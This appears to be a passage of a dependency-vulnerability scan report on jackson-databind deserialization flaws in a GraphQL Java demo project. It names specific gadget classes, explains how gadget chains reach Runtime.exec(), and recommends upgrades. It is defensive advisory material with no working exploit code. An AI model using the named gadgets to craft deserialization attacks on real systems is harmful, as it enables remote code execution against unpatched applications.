Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.PerUserPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.SharedPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

